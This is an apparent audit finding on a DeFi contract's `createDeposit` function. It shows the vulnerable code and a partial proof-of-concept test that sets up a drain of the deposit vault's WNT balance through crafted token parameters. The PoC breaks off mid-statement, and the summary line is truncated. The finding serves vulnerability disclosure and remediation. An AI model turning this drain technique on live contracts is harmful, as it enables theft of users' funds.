MEDIUM severity: The vulnerability in the `createDeposit` function of the `depositVault` contract allows an attacker . The vulnerability in the `createDeposit` function of the `depositVault` contract allows an attacker to drain the WNT balance by manipulating the `initialLongToken` and `initialShortToken` parameters of the `CreateDepositParams` struct. This is achieved by setting these parameters to a token with a l...

Vulnerable code:
```\nfunction createDeposit(\n    DataStore dataStore,\n    EventEmitter eventEmitter,\n    DepositVault depositVault,\n    address account,\n    CreateDepositParams memory params\n) external returns (bytes32) {\n    Market.Props memory market = MarketUtils.getEnabledMarket(dataStore, params.market);\n\n    uint256 initialLongTokenAmount = depositVault.recordTransferIn(params.initialLongToken);\n    uint256 initialShortTokenAmount = depositVault.recordTransferIn(params.initialShortToken);\n\n    address wnt = TokenUtils.wnt(dataStore);\n\n    if (market.longToken == wnt) {\n        initialLongTokenAmount -= params.executionFee;\n    } else if (market.shortToken == wnt) {\n        initialShortTokenAmount -= params.executionFee;\n    }\n```\n```\ndiff --git a/gmx-synthetics/test/router/ExchangeRouter.ts b/gmx-synthetics/test/router/ExchangeRouter.ts\nindex 7eca238..c40a71c 100644\n--- a/gmx-synthetics/test/router/ExchangeRouter.ts\n+++ b/gmx-synthetics/test/router/ExchangeRouter.ts\n@@ -103,6 +103,82 @@\n   describe("ExchangeRouter", () => {\n     });\n\n   it("createDepositPoC", async () => {\n     await usdc.mint(user0.address, expandDecimals(50 * 1000, 6));\n     await usdc.connect(user0).approve(router.address, expandDecimals(50 * 1000, 6));\n     const tx = await exchangeRouter.connect(user0).multicall([\n       exchangeRouter.interface.encodeFunctionData("sendWnt", [depositVault.address, expandDecimals(11, 18)]),\n       exchangeRouter.interface.encodeFunctionData("sendTokens", [\n         usdc.address,\n         depositVault.address,\n         expandDecimals(50 * 1000, 6),\n       ]),\n       exchangeRouter.interface.encodeFunctionData("createDeposit", [\n         {\n           receiver: user0.address,\n           callbackContract: user2.address,\n           market: ethUsdMarket.marketToken,\n           initialLongToken: ethUsdMarket.longToken,\n           initialShortToken: ethUsdMarket.shortToken,\n           longTokenSwapPath: [ethUsdMarket.marketToken, ethUsdSpotOnlyMarket.marketToken],\n           shortTokenSwapPath: [ethUsdSpotOnlyMarket.marketToken, ethUsdMarket.marketToken],\n           minMarketTokens: 100,\n           shouldUnwrapNativeToken: true,\n           executionFee,\n           callbackGasLimit: "200000",\n         },\n       ]),\n       { value: expandDecimals(11, 18) },\n     ]);\n     // depositVault has WNT balance now\n     let vaultWNTBalance = await wnt.balanceOf(depositVault.address);\n     expect(vaultWNTBalance.eq(expandDecimals(11, 18)));\n\n     // user1 steal WNT from depositVault\n     await usdc.mint(user1.address, vaultWNTBalance.add(1));\n     await usdc.connect(user1).approve(router.address, vaultWNTBalance.add(1));\n\n     // Step 1. create deposit with malicious initialLongToken\n     await exchangeRouter.connect(user1).multicall\n```